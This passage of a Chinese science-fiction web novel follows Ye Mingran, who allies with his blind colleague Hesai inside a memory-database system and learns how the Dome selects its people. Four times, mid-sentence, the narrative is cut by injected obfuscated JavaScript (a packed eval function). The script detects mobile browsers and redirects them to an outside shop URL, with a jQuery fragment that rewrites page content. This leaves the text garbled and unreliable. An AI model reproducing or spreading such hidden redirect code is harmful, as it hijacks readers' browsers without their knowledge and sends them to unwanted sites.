叶明冉在迷迷糊糊地想。 “三十秒后直接注射清醒剂吧……”又是那个声音，一点感情也没有。 三十秒后?清醒剂?叶明冉觉得自己好像听过这些词语，却没有概念。 脑子里面也像灌了铅一样。 忽然，一阵锐利的疼痛像一束光一样，将黑暗撕裂了个口子。 “刺眼……疼……”叶明冉被这种忽然的疼痛刺激地打了一个激灵，睁开了眼睛。 他整个人像个皮筋一样弹起来，看到了熟悉的实验室的天花板。 他和眼前的人打了个照面——叶明冉对上了一双没有光彩的眼睛。 “赫……赫赛……”叶明冉惊讶地叫到，同时发现自己是躺在实验室那个用来摸鱼的折叠床上。这时候，陷入黑暗前的记忆忽然进入了他的脑海。 对了，我回来了。他想到。 后脑有点疼痛，叶明冉不由自主地伸手摸了摸，在左耳的上方摸到一个很小小拇指指甲盖大小的疤痕。他按了下，发现有点刺痛。 看来，那个炸弹一样的检测器已经被他们装进去了。 叶明冉不甘心地握紧了拳头，忽然想起了自己在听到了“她”可能被BOSS给扣留之后的慌张和消极。 “为什么我会这样呢?”他还没来得及想，这时候赫赛已经不耐烦地说道。“你打算坐在这里和我面面相觑多久？昨天回来的时候睡眠剂就一直没解除，你是这种特殊体质么？” 叶明冉连忙让开了一点，后来又发现有点不对劲——赫赛怎么知道自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579059|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直在发呆呢？ 叶明冉看了一眼赫赛，确认他是看不见的，顿时感叹了下盲人第六感的敏锐。 “我是……怎么了？”他问到。 赫赛冷言冷语地说道，“我怎么知道。彼得还送你去了医疗室，不过他们表示你的生命体征并没有异常，所以只是原因不明的昏迷。要我等十二小时不醒直接给你用强力清醒剂，我遵从了医嘱。” 叶明冉哭笑不得地看着赫赛毫无波动的脸色，突然想起了清醒剂这东西的来头——好像他在D区的时候听说这是给某些只睡觉的动物打的，为了让它们保持适当清醒。 敢情这个地方所谓的医疗队伍是把人当牲口医治了。 “快点去操作台，先在两个小时积累下的数据已经够多了。”赫赛好像感觉到叶明冉不在注视他，直接一转身。 “等等……”叶明冉忽然问道，“彼得在哪里?” 赫赛露出一如既往的不耐烦表情:“你在这边躺着了，所以他在隔壁实验室配他的药，你今天到底怎么了怎么这么多事?” 叶明冉轻轻哦了一声，心中决定好了今天找个时间一定要和彼得谈谈。 “那我进去记忆库了，上午的班算你的，下午和明天都是我就行。” 说完叶明冉很直接得跳下来床，轻车熟路地走到那个橱子前面，拿出了自己的药剂瓶开始配换冲剂和诱导剂。 他必须尽快去记忆库里面看到BOSS他们的记忆，以及他们现在正在筹划的事情。 谁知道，赫赛也跟在他背后来了。打开了柜子，开始配一样的东西。 “你……你不是上午刚进去么？”叶明冉惊讶地问道，他之前想和赫赛搞好关系的时候，经常希望赫赛可以和他一起进入操作台。 “我怕你睡死在里面，到时候根本不知道怎么把你捞出来。放心吧，我不上操作台，如果你要死了我可能会进去看看。”赫赛淡淡地说道。 叶明冉:…… 现在他有很多想查的东西，赫赛却倒是反而碍手碍脚地打算进来了。 叶明冉轻车熟路地连上了神经通路，他刚在操作台上坐定，准备检索一下有关于boss的记忆——毕竟这次他暴露的东西已经计算机特定他的记忆了。 可是，叶明冉突然听到一阵轻微的咔嚓声——操作室门开了。 叶明冉连忙把记忆投影屏幕上面的画面抹去了，屏幕上只留下了如同水波一样的痕迹。 “赫赛……我很好，就是想安心工作一下。”叶明冉圆滑地敷衍道。 如果是以前的赫赛，没准听到叶明冉这么不识好歹已经气打不过一处来地转身就走了。 可是，今天的赫赛似乎有点反常。 “你刚才，是在看什么？”他的嘴唇几乎没有动，因为意识空间里面的声音的传导并不是依靠空气作为介质，声音的大小本身并不重要。 赫赛在这个空间里面是可以“看见”叶明冉的，叶明冉感受到了他的目光——赫赛在认真地打量自己。 13. 第 13 章 赫赛在外面的世界里面看不见，所以叶明冉从来没有感觉到过他的目光的重量，也没有试图看过他的眼睛——毕竟，和一个眼睛蒙着一层白翳瞎子对视什么用也没有。 此刻，叶明冉却不由自主地被赫赛的目光所吸引了。 这是他第一次和赫赛对视。 叶明冉这才发现，赫赛的眼睛从正面看上去并不是纯粹的黑色，而是带着点浅浅的棕色。叶明冉与他对视的时候，觉得有种那目光要探到他心底深处的执拗。 叶明冉心中的警觉顿起，表面却随意地说:“我还什么都没有开始看呢。下午第一次进来，手生。” 说着，他伸手就想去按手边的重置按钮。 操作台有个不好的地方，那就是里面同时接入两个人的时候，两个人的意念难免有冲突，这时候的指令都要靠手动了——无论操作台的形态是由谁指定的，每个手动操作的方式都会由被传送到在空间里面所有人的脑海里。 现在的操作台是叶明冉做出来的那个被赫赛称为“古典风格”的繁复版，叶明冉知道每一个键的位置。 谁知道，赫赛居然向前一步，直接抓住了叶明冉的手腕，“等等！” 在空间里面的移动基本上是靠意念去定位下一个点，叶明冉不怎么善于在一片黑暗中想象自己下一个点的位置，可是赫赛对于这个空间比叶明冉熟悉多了。 “你干什么？你不打算让我工作了？”叶明冉抗议道，同时心里已经有了不好的预感。这个赫赛太不对劲了——难道，他其实是…… 叶明冉想起了鹰钩鼻警察官不怀好意的眼神，他当时说的话什么意思来着？即使进入了巨蛋也不会放弃对他反人类罪的指控?那他们到底要怎么调查呢？ 叶明冉想起了机械师，机械师是前检察官。很多拥有专业资格的人都是检察官。 难道……叶明冉看着赫赛，眉头皱了一下：赫赛是神经操作师，如果他也同样有两个身份呢？ 赫赛的行为如此反常，不能给他再发现自己在搜索boss记忆的记录。 叶明冉心里微微一动，操作台忽然变了一个形状。重置键的位置忽然换到了另一边，叶明冉发现赫赛的手很有力气，根本抽不开，但是他奋力伸出左手就可以去够到。 只要把现在那些搜索记录删掉，之后只要随便想一个理由解释自己的反常行为就好了。 赫赛在这时候忽然把抓着的叶明冉的手放开了，叶明冉心里一惊，但是丝毫没有犹豫地直接按下了那个按钮。 叶明冉看到赫赛的嘴角咧开了一个向上的弧度，看上去并不沮丧，心里一沉想要抽回手。 可是，赫赛直接向前走了一步，用十分迅速的动作在叶明冉目瞪口呆中替他按下了一个键——那是重置边上的播放键。 为什么赫赛可以这么快找到变换后的各按钮位置？超级计算机传输的速度理应没有这么快。 顿时，叶明冉之前搜索的数据以密密麻麻的代码形式，出现在了他一直在使用的投影屏上。 赫赛看勒一眼叶明冉，说道：“当两人同时进入操作台时，对于操作台的操纵权限是交替使用的。你连续两次变换操作台形状，现在变换的权限已经在我手上，什么在哪里我自然一清二楚。” 他扫了一眼那片复杂的代码，皱起了眉头。“你和外面的巨蛋的敌人是什么关系？”赫赛问道。 他问得如此肯定，叶明冉知道多说反而坏事的道理，于是立刻转成了一言不发的状态。 “不说么？那我帮你说了吧。”赫赛一点也不为之所动，叶明冉猛然抬起头。 屏蔽装置是巨蛋的检测都检测不来的装置，赫赛只能是虚张声势。想到这里，他反而冷静下来了，想看看赫赛到底想干什么。 “我看过你在操作台之外的记忆记录，我相信允许你进来工作的人一定也是看过并且确定它们没有问题所以才放你进来的。不过，我想没有人可以考察到你“当时”的想法，比如你出去前一天。”赫赛在这里停了停，看向叶明冉，好像再等他自己坦白似的。 叶明冉保持面无表情，“这是我发现芯片一部分失灵的那天，连检察官都没有发现什么。”他想。 赫赛看叶明冉没有反应，鼻子里面轻轻哼了一声，“你能不能和我解释下，为什么你和检察官以及彼得叙述的时候情绪波动大到连检测装置都想起了报警，但是真理捕捉到的内心记忆的波动依然很小。“ 叶明冉忽然愣住了，他想起那时候实验室里面的检测装置想起来的时候，赫赛其实是在操作台上。他是可以看到自己在外面的即时记忆的。赫赛看着叶明冉惊慌的表情，露出了胜利的笑容:“真理”所测试到的情绪和实验室内部的情绪，一定有一个不是真的，不是么？我存留了你的记忆文件和实验室当天的检测装置——只要我把它们交给检察官……” 赫赛的声音连一点恶意雨炫耀也无，仿佛只是陈述一个事实。正因如此，反而让叶明冉感到胆战心惊。 一定不能被带到检察官那里，一但他们发现了两个记忆不一致，他们一定会彻底检查他的大脑。如果他们的检测动到了检测器或者神经炸弹——叶明冉一点也不想给这群人愚蠢的行为殉葬。 如果赫赛想置自己于死地，他只要在自己外出期间直接将这两份记忆交给检察官就行。之所以他要费尽心思和叶明冉一起进入操作台，一定是有所企图。 原本叶明冉正在苦苦寻找拉拢赫赛的办法，特别是在知道了组织也不可信任的时候，叶明冉想四处寻找伙伴。没想到一个机会就这么送上了门。 只是，他忽然想到一个问题，那就是，万一这段对话已经被记录下来传达到什么地方去了呢？ “我希望你可以注意言行，毕竟这是巨蛋里面。”林叶明冉不动声色地提醒道。 赫赛却似乎不领情:“没关系，这里他们看不到的。” 他在叶明冉疑惑的目光说道，脸色稍微变得缓和了一点，“这个我们第一次进来的时候我就给你说过。这就是目前系统设计不能克服的缺陷了。” 赫赛用一种理所当然的口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579060|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气说道：“让监视者监视自己的想法毫无意义，换言之，我们处于一千两百人口信息交流的中枢的时间里，处于其中作为监视者的我们自己的想法不会出现在里面。“ “这就是为什么你要跑到这里来和我谈事情么？” “你挺有意思的。”赫赛唐突地说到,“正常人从一个被监视着的环境换到另一个环境，难免会被所谓自由冲昏头脑。但是你表现的和在实验室里面并没有很大的不同。” “那是因为我一直就没有待在巨蛋的监视下面。”叶明冉在心里说道，不想把这个暴露给赫赛。 他生硬地跳过这个话题，问赫赛:“你想要什么？” 赫赛眼里的惊讶一闪而过:“没想到你这么爽快……”他喃喃道，“我要的东西很复杂，但是如果你的目的和我刚才的猜想一样，我要你和我合作，所以你先告诉我你的目的吧。” 第一步居然这么简单。 如果是以前的叶明冉，估计还要斟酌下怎么可以把组织的事情尽量淡化。可是他和BOSS已经近乎撕破了脸，而且还有把柄在对方手上。因此，叶明冉几乎是事无巨细地把所谓的组织，巨蛋的事情和盘托出。不过，对于芯片和炸弹的部分他隐瞒了下来。 “这个戒指里面据说有我的记忆……”叶明冉最后说道，给赫赛看了下那个右手。 赫赛沉默地听着叶明冉说完了。 “所以说，你的目的是救出带着你的未婚妻全身而退?那个芯片是怎么回事？” 果然来了。叶明冉心想，随后他摇摇头:“组织给我装的，我醒来就带着了。我想找回我的记忆，这是其一；我要弄清楚这个世界的真相，这是其二。” 只是似乎赫赛对这两个都没兴趣。 叶明冉看着赫赛兴趣缺缺的样子，说道:“该你了。” 赫赛把操作台的椅子拉出来，做了下来。林凤娇觉得他们仿佛回到了第一次进来这里的时候。赫赛背对着叶明冉，问了一个似曾相识的问题。“你说，这个国家为什么可以建立起来?” “这个我们不是以前说过么？是因为国民们选择相信这个世界上存在真理，并且看着他们。”叶明冉回答道。 赫赛眼里面闪过一阵显而易见的失望。 他忽然闭了嘴，眼睛看向远处。正当叶明冉觉得他就要自己脱离操作台把他一个人丢在这里的时候，赫赛开口了。 “一切都是因为‘真理’的维系……”赫赛说话的声音犹如叹息，叶明冉从中听出了无奈的味道——“如果你发现追求了大半生的真理，却不是你最后想要的东西。”赫赛漠然地丢下一句话，”你会选择终于真理还是干脆毁了它?” 叶明冉想要回答他，却发现自己说不出来。这一刻，他有了一种预感，预感某一天他很可能会被置于同样的选择里。 “我……”叶明冉刚想说“不知道”，可赫赛随后的自问自答淹没了他那点不确定的声音。 “如果我所追求的真理欺骗了我，那它一定是错的，我一定会毫不犹豫地毁了它。” 14. 第 14 章 叶明冉听道他有些凶恶的口气，惊异道:“你要毁了巨蛋么……”他刚才特地隐瞒了芯片和炸弹的事情，也隐瞒了组织让他做的事情。可是，想不到赫赛居然更加激进。 赫赛听到他的话，低低地说道:“我要走出去……” 和他刚才说起巨蛋淋漓尽致的恨意相比，这句话低得快要听不见了。 赫赛似乎也知道了这一点，避免这个话题的过度深入。 他好像想起了什么事情一样，看着叶明冉的表情有些复杂:“你知道，巨蛋选拔有个无形的原则是什么么？” 当组织还在的时候，叶明冉知道他们曾经研究过这个。结果去到巨蛋的人信息流出居然特别少，叶明冉是第一个珍贵的鲜活的样本，记得当时还在开酒吧的老板细细问了他各种问题有一个上午，最后牙疼一样得出的“你小子走狗屎运”的结论。 叶明冉摇摇头，示意自己不清楚。 “巨蛋要的人，是和这个世界基本没有接点的人。”赫赛概括道。忽然叶明冉想起了自己孤儿院的假身份，问道:“你是说他们要找孤儿么？” 赫赛摇摇头:“不只是孤儿，被社会和家人抛弃的人，出走失踪被认为不会再回来的人，沉迷于什么东西不再注目生活的人。他们要找的是与社会尽量隔绝却又才华横溢的人。” 叶明冉忽然想起了他来到这里的第一天，赫赛和彼得叫他给自己取一个代号做名字的那一天。 他说自己叫叶明冉，可是叶明冉又何尝不是代号呢？ 他没有昨天，虚无缥缈地过着现在，也看不清未来。 “赫赛，你……你有名字么？你还有家人么？”叶明冉脱口而出。一种同病相怜的情绪顿时席卷了他。 “我有……曾经有”赫赛说道，目光垂下来看着操作台上面的一个银灰色的小按钮。那是赫赛设置重置键。 他把最决绝的东西放在触手可及的地方，给它涂上最不显眼的颜色。 “你有没有想过，这个国家哪里来到那么多才华横溢又恰好无父无母，孤苦伶仃的人呢？”赫赛问道。 叶明冉不知道他为何来了这么一问，但他连所谓巨蛋的选人标准都是头一次听说，更勿论要更上赫赛这个思路。 “我不知道……”叶明冉说道，但是心里隐隐有种不好的预感。 赫赛灰白的脸色表明了这个问题的答案一定不是什么令人愉快的东西。 “人类历史无数例子说明了，才华和技能是需要环境赋予的。也就是说，荒芜的沙漠里面绝少能开出艳丽的花。”赫赛说道。 叶明冉心里心疑问逐渐扩大，可是……巨蛋里面那些人呢？他们都是怎么被挑选出来的? 赫赛难看地笑了笑，“可是，如果把在富饶的土地里面开出的花，拔离它生长的土壤，用营养液和药水好好养着，它也许可以接着盛开呢。” 这个比喻意味着什么……叶明冉反应过来的时候心头大震—— “你是说，巨蛋是用这种方法……可是，他们……你们原来的亲人呢？为什么可以心甘情愿呆在这里，为这样一个残忍的机器工作呢？”叶明冉语无伦次地问道。 心底的冲击太大，他倒是宁愿赫赛真的是检察官，这一切都编出来诳他的。 “如果我是巨蛋的统治者，我才不会留下这种漏洞。”赫赛此时的反应比叶明冉平静很多，仿佛自己真的是个冷酷无情的统治者一样，“我会把那些能够让它们土地回去全部铲除，再给他们留下一段本来就是荒漠里面生长的记忆。” ”那么……你是怎么知道的?” “你记得我一开始和你说过么，国民记忆库是巨蛋里面国民的记忆的总和。每个人的记忆都能从他人的记忆中得到投射，从而还原出于一个完整的记忆来8。” “可是你也说过，这只是理论上的。”谁能从浩如烟海的记忆库里面抽出一个人的记忆，并将它还原出来呢？ “我可是整个巨蛋屈指可数的神经操作师。”赫赛骄傲地说道。“我要毁了这个枷锁。之后我也可以用同样的办法帮你找回你的记忆。你说你的记忆被封在这个戒指里?” 赫赛抬起眼睛看着叶明冉，仿佛在问他能不能拿下来看看。 “拿不下来……”叶明冉说道，忽然觉得有点不好意思，“我以前试过，太紧了。”他补充道。 赫赛没有理他，直接拉过了叶明冉的手，一下子就把那个戒指褪了下来。 叶明冉:…… 赫赛无视了叶明冉涨得通红的脸，专心得打量这手上的戒指。“在这个空间里面，物品不过都是彼此的一个投影，没什么拿的下来拿不下来的。” “这里有一行数字……G2869年11月9日”赫赛细细打量这个戒指的内侧，“是五年前……你记得什么么？” 叶明冉摇摇头，他只有一年的记忆。更加让人不可思议的是—— “不可能，我曾经仔细观察过这个戒指，没有看到这行文字，应该说根本没有看到字。”叶明冉摇摇头。这个被视为他过去唯一的线索的东西，他也不知道摩挲观察了多少次。 听他这么说，赫赛的神色严肃了一点，他轻轻把戒指翻来覆去看了一下，露出了一个有点古怪的笑。 “你说的那个组织还是什么组织的，可能还真的没有冤枉你。”他把戒指翻了个角度，叶明冉发现上面的字自动变换了顺序。“这个戒指似乎只有投射在这个空间才会有这些文字，所以造这个的人可能真的和巨蛋有着千丝万缕联系。你真的一点记忆都没有?” 叶明冉摇了摇头。 “我还以为这个真的是你的未婚妻……”赫赛恢复了原来的态度，可是他还没有调侃完忽然面上露出了痛苦的神色，“咳咳……”他忽然开始了咳嗽，叶明冉连忙上去拍他的背，感觉他整个脊梁都绷紧了。 叶明冉还没有见过这个架势，毕竟人在这个空间里面毕竟是虚拟出来的。一个虚拟出来的人，怎么会生病呢。 可是，赫赛那个样子，又实在不像是可以装出来的的。这个空间是真实空间的投射。 “赫赛，你该不是有什么……”叶明冉刚还没有问出口，就被赫赛一阵狠狠地瞪了一眼，立刻识相地打住了话头。 这时候操作台上的计时器发出了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591589|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声提示“推出时间，倒计时两个小时。” 叶明冉总觉得，赫赛听到这个计时之后，好像顿了一下。然后脸色好像变好了一点，就像遇到了什么高兴的事情一样。 叶明冉想起了上次出去的时候慢了一步，缓冲剂消失之后的那种碜人的疼痛，顿时皱起了一张脸。 “赶快做好出去的准备，没有缓冲剂的感觉实在是……太……难熬了。”叶明冉想象了下那种难以言喻的感觉，说道。 “是什么感觉？”赫赛的咳嗽忽然止住了，叶明冉惊异地发现他眼里居然露出了一丝笑容。但是一转眼就消失了。 叶明冉觉得是他的错觉。 “我有一次到了出去的时间，结果不小心慢了几秒钟，结果换冲剂失效后大量的记忆涌进来，就想无数尖刀在神经上刮一样……”叶明冉一边回想一边说道。“不过为什么巨蛋这么抠呢？每次都是定量发，就不能多给点换冲剂么？而且你和我的计量好像也不一样?”叶明冉问道，抬眼看向赫赛。 赫赛和脱力了一般半躺在椅子上，他的眼睛其实半闭着，眼皮在微微颤抖。他的头发如同被雨水打湿了一样，全部贴在前额上。 “喂，你没事吧？”叶明冉看到他的脸色就和白纸一样，立刻急了，伸手就去按脱出装置的按钮。 只听见“嘀——”一声，按钮旁边的指示灯亮了一下，“未到授权时间，无法打开。” 居然是说没有到工作完成的时间不给开门的意思。 “打开！这里有人有生命危险！”叶明冉看着赫赛紧闭的双眼，用力徒劳地捶打那个按钮。 他相信，记忆库最终肯定是由人来管理的，一定有人会听到他的喊声。 “不要叫了，没用的……”忽然赫赛抬起头来，他的声音非常虚弱，叶明冉觉得他好像在忍着巨大的痛苦。 “我的体征是正常的，没有人会让我们在体内换冲剂耗完前出去的。”赫赛气若游丝，但是话却是接了起来。叶明冉一颗悬着的心放下了一点。 他忽然想起，每次这个门都要等到缓冲剂快要到了，才会打开。“巨蛋不是财政中心么？为什么这么小气，居然宁愿要人命也不给逃班？”叶明冉抱怨道。 “他们担心的可不是逃班，巨蛋之所以扣着这个时间，只是因为缓冲剂。”赫赛说道。“你知道缓冲剂的主要成分是高密度高能炸药的原料么？” 他看了眼一脸疑惑的叶明冉，用一如既往的嘲讽语气说道:“以前有个异想天开的笨蛋，和你那个做白日梦的组织一样，想要从内部炸掉巨蛋。”赫赛说着说着，仿佛陷入了回忆中一样，语气变得缓和，“当时巨蛋对于缓冲剂的危险性有了充分的认识，已经开始限量了，但是操作台的出入时间还是灵活的。那个笨蛋在这个地方脑子活络，每次都提前一两个从操作室里面出来，然后把多余的换冲剂用存到试剂瓶。五年左右居然给他攒到了两小瓶。” 缓冲剂的需要量是和接入时间正比的。 赫赛接着说道:“那个人原来是个机械师，好像自己计算过，炸掉巨蛋所需要的高密度高能炸药大概是三瓶左右的剂量……” 15. 第 15 章 赫赛说到这里就不再说了。 巨蛋还在这里毫发无损的存在着。叶明冉轻而易举地猜到了这个故事的结局，可是还是不敢相信。 “然后呢？”他深吸了一口气问道。 “然后?然后很快巨蛋就发现了。巨蛋开始严限缓冲剂和接入时间。他们开始根据每个人的身体需要容量来限制每次接入的时间。但是这个限制量为了保守起见，是根据你的身体的最佳状态所决定的，这时候一个人需要的缓冲剂会更少。至于缓冲剂在身体状况一般的情况下，达不到标准工作时长嘛——其实有时候对于巨蛋来说这反而是一件好事。因为毕竟尝过一次缓冲剂失效的滋味，谁还敢在缓冲剂上面打主意呢？”赫赛语带讽刺地说。 “所以，你今天是身体状态不好还进来了么？”叶明冉小心翼翼地问道。 赫赛听到他的话，眉头皱了一下，却没有反驳，而是避过了这个话题。 “顺便说一句，这个人就是你的前任，我的搭档。也是我所知道的，在巨蛋里面工作过的唯一一位女性。”赫赛眼里流露出一种落寞的情绪，小声地说道。 前任……叶明冉想起了他刚来的第一天，那件孤零零地挂在椅背上面的白大褂。 又想起赫赛最开始对他的婚约者冷嘲热讽的样子。 他原本想问的“她最后怎么了？”，最后变成只能变成一声长叹。 两人之间一下子沉默下来。 这时候电子音忽然响起来:“倒计时三十分钟”。 两个人都舒了一口气——叶明冉从来没有觉得这个声音如此善解人意过。 “我下次可能不能和你一起进来了。”赫赛说，“所以还有这么点时间我们得把事情说清楚。” 叶明冉总觉得，赫赛听到还有三十分钟的时候，好像放松了下来。可他并没有多少时间去想这意味着什么。 “我猜想，他们装的那个所谓的炸药，本质上只是一种病毒，目的是从内部入侵主机的神经接口部分。物理上销毁主机本身是不可能的。只要主机的硬件还在，它就能无限生成神经接口。我想统治者的权限应该是可以再造的。”赫赛分析道，然后好像想起了什么好笑的事情一样，打量着叶明冉:“现在你知道他们的动机是什么了吧？所谓自由不过是狗屁。他们并不是想要毁了巨蛋或者真理，而是想取而代之罢了。其实你也可以等等，反正外面时间的流速是这里的十多倍。你说的那个BOSS已经那么老而我残废了，也许你在这里再等几个月他就寿终正寝自然消灭了呢。” “他们可能认为是自己手上我的‘婚约者’，尽管我和她毫无关系……”叶明冉苦笑了下，岔开了话题，“可正因毫无关系，我不能把她卷进来。” 叶明冉一边说着，心里却有一个声音问:真的是这样吗？ 赫赛斜眼看了叶明冉一眼，“想不到你还挺绅士的。”他评论道。“只是，你想好了么？一旦你和组织以及巨蛋为敌，你就失去了在这里的庇护。就算你把她带出来，你们打算逃到什么地方去?” 叶明冉被他问得愣了一下，随即不确定地说了一句:“不是有域外么？” 赫赛先是愣了一下，随即大声笑起来了:“你……哈哈哈哈哈，还真是挺有意思的。”赫赛低下头笑了起来，“我现在才相信你说的只有一年记忆是真的了，你都不知道域外大荒原是个什么地方。哈哈哈哈哈……” 叶明冉不知道自己为什么一句话要引来这么一顿嘲笑，无辜得说道:“这次出去，他们说那里已经侵占了D区……我以为这是另一个势力。” 赫赛在听他说完之后忽然不笑了。“你说的好像有道理。”他好似自言自语道，“为什么我要将对于大荒原的研究限制在对于敌人的研究呢？” 叶明冉其实对赫赛这种状态有点心有余悸，因为这意味着他可能又要冒出一点叶明冉听不懂的话了。 “兄弟，我们打个商量吧。”叶明冉打断赫赛进入自我世界的思考，“为了我们之后能够配合一体行动，你得把你心理那些比较复杂的想法告诉我，不然我……”他挠了挠头，“不大懂……” 赫赛用一种看着智障的眼神看着他，叶明冉觉得但凡他有得选，他一定不会选择自己作为伙伴。 不过，最后赫赛的理智还是战胜了感性。“看在你给了我灵感的份儿上，”他十分不情愿地说道，“我给你说说域外是个什么东西……” 十五分钟后，叶明冉和赫赛两个人同时出现在实验室里。随着诱导剂的褪去，无数的黑色的神经引线从叶明冉皮肤了里面褪了出来。叶明冉不管看见几次都觉得心惊胆寒。 叶明冉发现，他居然比赫赛撤出来得要快，他这时候惊讶地发现隔壁赫赛放在椅子扶手上的手指在轻微地抽搐着……他的手紧紧握成了一个拳头。 叶明冉只觉得有些奇怪，毕竟神经过于紧绷只是会让引线更难撤出来而已，赫赛理应比他有经验多了，怎么可能还犯这种自讨苦吃的错误。 他就犹豫了一会儿，赫赛就睁开了眼睛——眼神里面是一如既往的木然。 “不要在外面和我提里面说过的话题，在数据库里面我可以操作自己的记忆，在外面我们两个的思维都是被监控的。彼得是我们的伙伴，但是，在外面同样不要主动和他交流。他会想办法给你传达一些信息的。”叶明冉想起赫赛在出来前最后叮嘱他的话。 “那我走了……”叶明冉按捺住赫赛讲话的冲动，从椅子上默默爬起来。 叶明冉看到赫赛微微点了点头。 接下来的日子里面叶明冉过得十分中规中矩:他每天按时准时进入操作台，更加熟练地干事——然后把剩下来的时间都花在了搜索“她”和BOSS一伙的行踪上。 “你已经看到了那个人的脸，所以你可以用搜索权限调出他的所有记忆了。” 叶明冉花了三天时间就把那个老头的记忆调了出来，也知道了他的腿是怎么回事。 原来，BOSS的腿是在D区被吞并的时候没有的，难怪他提起这事情的时候脸色不好看。 叶明冉现在时不时会想起赫赛和他说过的大荒原的事情。 “我们原本以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604000|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，大荒原是一块固定的边界。直到最近一百年我们才发现它原来是活动的。这是在近两百年前F区被’吞噬’之后发现的。被吞噬的国民记忆从此中断。之前我总是以为，这是某种类似于自然灾害的机制，是用来执行''消灭’这个行为的。” 叶明冉当时就觉得有点不对，“可是，巨蛋里面的人口已经这么稀少了啊，再消灭是要让人类灭绝么？”他不知为何想起了这个国度里面只占有可怜的比例的女性，当初难道不是因为稀少所以才给予了如此多的优待么？ “这就是你给我的灵感了。我原本是和你一样的想法，但是我觉得是因为人类太过于自暴自弃，才让会让人想要消灭的。可是，后来我想，万一吞噬这种行为本身不是消灭，而是一种再造呢？虽说巨蛋给了女性如此多的优待，但是说实话你是我见过的唯一一个活的与她们真的有婚约的人。也许你可以去看看记忆库。” 这些天来，叶明冉为了验证赫赛的话，随即搜索了很多很多的记忆。他发现，似乎很少有能够看到那些相亲相爱的夫妇的人们的正脸的，更加让叶明冉想不懂的是，他转而去搜索比较容易特定的A区首都医院医生和护士们的记忆。 他居然没有发现任何一段关于出生的记忆——尽管他从很多不知名的夫妇的生活片段里面看到了初生的婴儿，以及他们的成长过程。 明明没有出生，却有成长的过程。这表示记忆库和自己对世界的常识至少有一个出错了。而这两个东西，不管哪一个出错，都会惹得天翻地覆。 就这样，叶明冉在不断搜集信息和刷新对巨蛋的认知中，五天过去了。 幸运的是，叶明冉已经找到了BOSS拐走“她”的时间点，那是叶明冉第一次出去两天前的中午——也就是说现实时间中已经过了一年多。BOSS不会愚蠢到找个叶明冉认识的人去实行这一桩显而易见的诱拐——即使BOSS说这只是为了确定叶明冉的安危罢了。 叶明冉是从花店小伙子的记忆资料里面看到的——他虽然没有参加，但是显然有人事先告诉了他这个行动，并且让他参与某种协助活动。因为从那天早上开始，他对于外面的景色的关注已经多于他的花店生意了。 然后，在那个高个子有点秃头的人接近“她”的似乎，小伙子心里的紧张似乎达到了顶峰——叶明冉这才发现，原来每个人在全神贯注地注视和漫不经心地注视时，留在记忆中的投射影像的像素似乎是不同的。 原来人对于自己注目的记忆的关注，真的可以刻骨铭心，叶明冉想。 透过小伙子的记忆，叶明冉觉得那个瞬间一切都分毫毕现，包括高个子男人向着“她”举手打招呼的时候，右手臂上淡淡的日晒痕迹。 这个痕迹呈现放射状，如同刺破云层的光线一样，不像是自然形成的，倒像是用什么东西盖住了一部分皮肤之后刻意留下的暂时性纹身。 叶明冉猛然想起他好像听说过有些年轻人喜欢这种艺术，而且巨蛋能够照到强烈日光的地点就只有那么几个。 “这男人是从B区阳光海滩过来的……” 16. 第 16 章 虽然巨蛋大多数地方都充斥着人造空间感，但是也有很多大大小小的天然海滩。 叶明冉忽然想起，他曾经在半年多前——确切来说是他进巨蛋前的半年年前，也就是空中交通工具被彻底禁止前夕，有幸抽到过一张名为“最后的鸟瞰”的体验券。 那时候叶明冉只有半年记忆，记忆开始的一个片段是自己在一家酒吧里面喝得烂醉，再往前追溯就是一片黑暗。 叶明冉记得，那种对于周围一无所知的恐惧让他整天浑浑噩噩。他甚至要通过阅读每一样东西的产权纪录和对比自己的国民ID去追溯每一件东西是不是曾经和自己有渊源，在从那片混沌里面寻找自己的过去。 